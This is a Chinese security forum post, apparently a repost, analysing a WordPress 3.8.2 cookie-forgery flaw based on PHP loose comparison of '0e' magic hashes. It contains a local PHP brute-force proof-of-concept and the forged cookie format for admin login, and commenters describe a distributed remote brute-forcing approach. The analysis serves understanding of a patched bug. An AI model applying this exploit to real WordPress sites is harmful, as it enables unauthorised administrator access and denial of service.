Moke|墨客

 找回密码
 立即注册
搜索
查看: 8111|回复: 0

WordPress?3.8.2?cookie伪造漏洞再分析

[复制链接]

310

主题

10

回帖

1688

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1688

优秀版主荣誉管理论坛元老

发表于 2016-6-23 11:04:50 | 显示全部楼层 |阅读模式
   0x00 背景
  看了WordPress 3.8.2补丁分析 HMAC timing attack,眼界大开,原来还可以利用时间差来判断HMAC。
  但我总觉得这个漏洞并不是简单的修复这个问题。
  查看了官方提供的资料:“该漏洞是由WordPress的安全团队成员Jon Cave发现。”。
  也许漏洞还有这样利用的可能。
0x01 PHP的特性
  当PHP在进行”==”,”!=”等非严格匹配的情况下,会按照值的实际情况,进行强制转换。
  当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
0x02 分析修复的代码
  官方版的diff只在php里改动了一个位置:
  其中$hmac来源于cookies。是我们可控的一个输入参数。
  $hash是以下代码生成一个md5值。
当$hmac == $hash 时,登录成功。
  那么,有几种情况会登录成功。
#!php
<?php
//第一种情况,完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二种情况.第一位为数字,第二位为字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三种情况。第一位为字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>  
  很明显,第三种出现的情况非常大。
  那么我们有没有可能把$hmac构造成一个整数0呢?
0x03 漏洞利用
  我们看看cookie解析的代码:
  当我们把cookie设置为:
  时。$hmac=’1’。但是,$hmac是字符串1,而不是整数1。
#!php
<?php
var_dump($hmac);//string(“1”);
?>  
  非常遗憾,这个漏洞是不能利用的。
  难道官方修复的真的不是这个漏洞?
0x04 柳暗花明又一村
  还有什么情况能让字符串识别成整数吗?是的,还有!
  ‘e’会识别为次方,0的N次方为0;
  所以,这个漏洞的利用方式还可以是:让$hmac = ‘0’;
  通过改变$expiration来改变$hash。获得一个,第一位为0,第二位为e,后面所有位为数字的$hash.
#!php
<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32’;
var_dump($hmac == $hash);  // true
?>  
0x05 攻击代码
  本地测试代码(实际攻击代码应该是构造cookies远程请求):
#!php
<?php
  include( 'wp-load.php' );
  $user = get_userdata(1);
  $username = $user->user_login;
  $pass_frag = substr($user->user_pass, 8, 4);
  $expiration = 9999999999; //设置一个很大的过期时间,然后递减
  while($expiration >0){
  $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
  $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
  if('0' == $hash OR '1'== $hash ){
  echo $expiration.'@'.$hash;
  file_put_contents('done.txt',$expiration.'@'.$hash);
  exit();
  }
  $expiration -= 1;//过期时间-1
  echo $expiration.'@'.$hash."\r\n";
  }
?>  
  通过改变过期时间,尝试碰撞到可以利用的hash。
  按照理论值。碰撞到可以利用的$expiration几率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。
  理论上:把cookies设置成 “admin|碰撞到的过期时间|0”,就可以登陆后台了。
  但是几率太小,还不如穷举密码了。
  Ps:我本地跑了几个小时了,还没遇到一个。
<img alt="SosoImg"/>

donwa2014-04-15 19:36:09  
  没看到代码上面的备注吗? 本地测试代码(实际攻击代码应该是构造cookies远程请求) 代码只是想跑出一个hash来证明可以伪造cookie登录。

不装逼会死黑阔2014-04-15 16:55:30  
  这个的实战意义何在?? $pass_frag = substr($user->user_pass, 8, 4); $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth'); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); hash除了和登录的用户,$expiration有关还和$key有关,而$key产生又和当前登录的密码有关,$pass_frag = substr($user->user_pass, 8, 4) 这样子,要算出满足条件的hash和$expiration,攻击者要要先登录并且知道$pass_frag???这样子的漏洞感觉不到任何实战价值

xsser2014-04-14 21:36:17  
  赞~~

donwa2014-04-14 21:27:27  
  不管是3亿次还是2亿次还是1亿次。穷举密码是肯定出来了,这个就得靠运气了。 是个正常的blog肯定被D死。

Ettack2014-04-14 21:21:08  
  @insight-labs 大牛正解,我寫的正好就是head請求到wp_admin/profile.php 然後判斷status code,儘量減少數據用量

insight-labs2014-04-14 20:51:19  
  提交到/wp-admin/index.php 然后判断HTTP状态码是不是302跳转,这样发送接收的数据最少

syjzwjj2014-04-14 20:29:48  
  这么牛!还分布式!!代码发给我一份吧!邮箱:[email protected],谢谢啦

Ettack2014-04-14 20:26:15  
  作者的代码就可以測試,把調用wp_hash改為寫死key然後取hash可以優化一些,然後再分布式到三台電腦上一台一億很快就出來了。我是用python寫的,需要的話我回去發出來。我連多線程分布式遠程的程序都寫了,不過在測試我自己博客的過程中,很快就把自己博客D掛了,意義不大,哈哈

Ettack2014-04-14 20:13:16  
  纯字母密码,哈哈,打错成纯数字了

syjzwjj2014-04-14 20:12:25  
  可以分享一下你的测试代码吗,谢啦!

Ettack2014-04-14 20:04:55  
  另外作者说本地几个小时没跑出来,肯定是姿势不对,我之前测试了五六次基本都是在半小时内可以跑出来

Ettack2014-04-14 20:00:05  
  我来比较下这个与爆破密码的请求次数: 爆破cookie概率 P=3.26526*10^-9 (算法见http://www.freebuf.com/vuls/31770.html) 爆破8位纯字母密码:P=1/26^8 因此平均3亿请求碰撞cookie,而需两千亿请求爆破仅仅八位的纯数字密码。 不知道我有没有算错。。。

syjzwjj2014-04-14 18:18:20  
  这个是指登陆后台还是只要访问了wordpress就会有这个cookie啊?如果我不登陆后台的话可以知道这个hmac吗?是不是这个hmac为任意字符串都行的啊

donwa2014-04-14 15:31:07  
  登录wordpress后,会得到一个这样的cookie。最后那个类似md5的字符串就是hmac。可以自己伪造。 wordpress_logged_in_7065d11a793a3ec8482214fcc4f0a55b=admin|1397480887|1f253e501c301bf5bf293c40d7d92ded

syjzwjj2014-04-14 13:51:04  
  想请教一下那个$hmac具体是怎么得到的呢?

insight-labs2014-04-14 09:52:43  
  那这样的话远程5亿次……估计爆破密码可能更快点……

donwa2014-04-14 08:49:52  
  嗯,确实是看http://joncave.co.uk/,觉得这个漏洞应该是隐式转换的问题。没想到是timing attack。 概率确实低,理论上,上亿次才能碰撞到一个。。。。

donwa2014-04-14 08:45:09  
  可能我没没说清楚。必须远程尝试,因为$hash是根据用户的密码和AUTH_SALT 生成的。每个wordpress都是不同的。

blue2014-04-14 08:26:39  
  受教了,php真是门神奇的语言呐~

insight-labs2014-04-14 07:51:41  
  这个也比较靠谱,可以现在本地计算对应的cookie然后再使用,避免了一次次的远程尝试。

瞌睡龙2014-04-13 23:30:00  
  作者应该是追寻这漏洞原作者博客找到的利用思路吧http://joncave.co.uk/,想法其实很不错的,之前也想到了,不过考虑到要求太高前两位必须是0e后面的必须都为数字。所以就没加上,原作者也贴出了此修复主要是为了防御timing attack的攻击方式。https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be 小伙伴研究精神值得鼓励 :)


       

                                                    


来源链接: http://drops.wooyun.org/papers/1409
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

 

 

快速回复 返回顶部 返回列表